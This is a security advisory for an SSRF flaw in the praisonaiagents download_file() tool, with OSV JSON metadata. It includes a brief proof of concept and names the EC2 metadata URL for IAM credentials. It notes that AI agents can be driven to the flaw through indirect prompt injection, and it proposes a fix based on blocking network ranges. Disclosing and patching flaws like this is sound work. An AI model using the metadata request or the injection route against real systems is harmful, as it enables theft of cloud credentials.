PYSEC-2026-2940
Vulnerability from pysec - Published: 2026-07-13 14:36 - Updated: 2026-07-13 16:05Summary
FileTools.download_file() in praisonaiagents validates the destination path but performs no validation on the url parameter, passing it directly to httpx.stream() with follow_redirects=True. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.
Details
file_tools.py:259 (source) -> file_tools.py:296 (sink)
# source -- url taken directly from caller, no validation
def download_file(self, url: str, destination: str, ...):
# sink -- unvalidated url passed to httpx with redirect following
with httpx.stream("GET", url, timeout=timeout, follow_redirects=True) as response:
PoC
# tested on: praisonaiagents==1.5.87 (source install)
# install: pip install -e src/praisonai-agents
# start listener: python3 -m http.server 8888
import os
os.environ['PRAISONAI_AUTO_APPROVE'] = 'true'
from praisonaiagents.tools.file_tools import download_file
result = download_file(
url="http://127.0.0.1:8888/ssrf-test",
destination="/tmp/ssrf_out.txt"
)
print(result)
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# writes IAM credentials to destination file
Impact
On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. follow_redirects=True enables open-redirect chaining to bypass partial URL filters. Reachable via indirect prompt injection with no authentication required.
Suggested Fix
from urllib.parse import urlparse
import ipaddress
BLOCKED_NETWORKS = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("169.254.0.0/16"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
]
def _validate_url(url: str) -> None:
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError(f"Scheme {parsed.scheme!r} not allowed")
try:
addr = ipaddress.ip_address(parsed.hostname)
for net in BLOCKED_NETWORKS:
if addr in net:
raise ValueError(f"Requests to {addr} are not permitted")
except ValueError as e:
if "does not appear to be" not in str(e):
raise
| Name | purl | praisonaiagents | pkg:pypi/praisonaiagents |
|---|
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents",
"purl": "pkg:pypi/praisonaiagents"
},
"ranges": [
{
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{
"introduced": "0"
},
{
"fixed": "1.5.95"
}
],
"type": "ECOSYSTEM"
}
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}
],
"aliases": [
"CVE-2026-34954",
"GHSA-44c2-3rw4-5gvh"
],
"details": "### Summary\n\n`FileTools.download_file()` in `praisonaiagents` validates the destination path but performs no validation on the `url` parameter, passing it directly to `httpx.stream()` with `follow_redirects=True`. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.\n\n### Details\n\n`file_tools.py:259` (source) -\u003e `file_tools.py:296` (sink)\n```python\n# source -- url taken directly from caller, no validation\ndef download_file(self, url: str, destination: str, ...):\n\n# sink -- unvalidated url passed to httpx with redirect following\n with httpx.stream(\"GET\", url, timeout=timeout, follow_redirects=True) as response:\n```\n\n### PoC\n```bash\n# tested on: praisonaiagents==1.5.87 (source install)\n# install: pip install -e src/praisonai-agents\n# start listener: python3 -m http.server 8888\n\nimport os\nos.environ[\u0027PRAISONAI_AUTO_APPROVE\u0027] = \u0027true\u0027\nfrom praisonaiagents.tools.file_tools import download_file\n\nresult = download_file(\n url=\"http://127.0.0.1:8888/ssrf-test\",\n destination=\"/tmp/ssrf_out.txt\"\n)\nprint(result)\n# listener logs: \"GET /ssrf-test HTTP/1.1\" 404\n# on EC2 with IMDSv1: url=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n# writes IAM credentials to destination file\n```\n\n### Impact\n\nOn cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. `follow_redirects=True` enables open-redirect chaining to bypass partial URL filters. Reachable via indirect prompt injection with no authentication required.\n\n### Suggested Fix\n```python\nfrom urllib.parse import urlparse\nimport ipaddress\n\nBLOCKED_NETWORKS = [\n ipaddress.ip_network(\"127.0.0.0/8\"),\n ipaddress.ip_network(\"169.254.0.0/16\"),\n ipaddress.ip_network(\"10.0.0.0/8\"),\n ipaddress.ip_network(\"172.16.0.0/12\"),\n ipaddress.ip_network(\"192.168.0.0/16\"),\n]\n\ndef _validate_url(url: str) -\u003e None:\n parsed = urlparse(url)\n if parsed.scheme not in (\"http\", \"https\"):\n raise ValueError(f\"Scheme {parsed.scheme!r} not allowed\")\n try:\n addr = ipaddress.ip_address(parsed.hostname)\n for net in BLOCKED_NETWORKS:\n if addr in net:\n raise ValueError(f\"Requests to {addr} are not permitted\")\n except ValueError as e:\n if \"does not appear to be\" not in str(e):\n raise\n```",
"id": "PYSEC-2026-2940",
"modified": "2026-07-13T16:05:44.177072Z",
"published": "2026-07-13T14:36:46.942238Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-44c2-3rw4-5gvh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34954"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/praisonaiagents"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-44c2-3rw4-5gvh"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Has SSRF in FileTools.download_file() via Unvalidated URL"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
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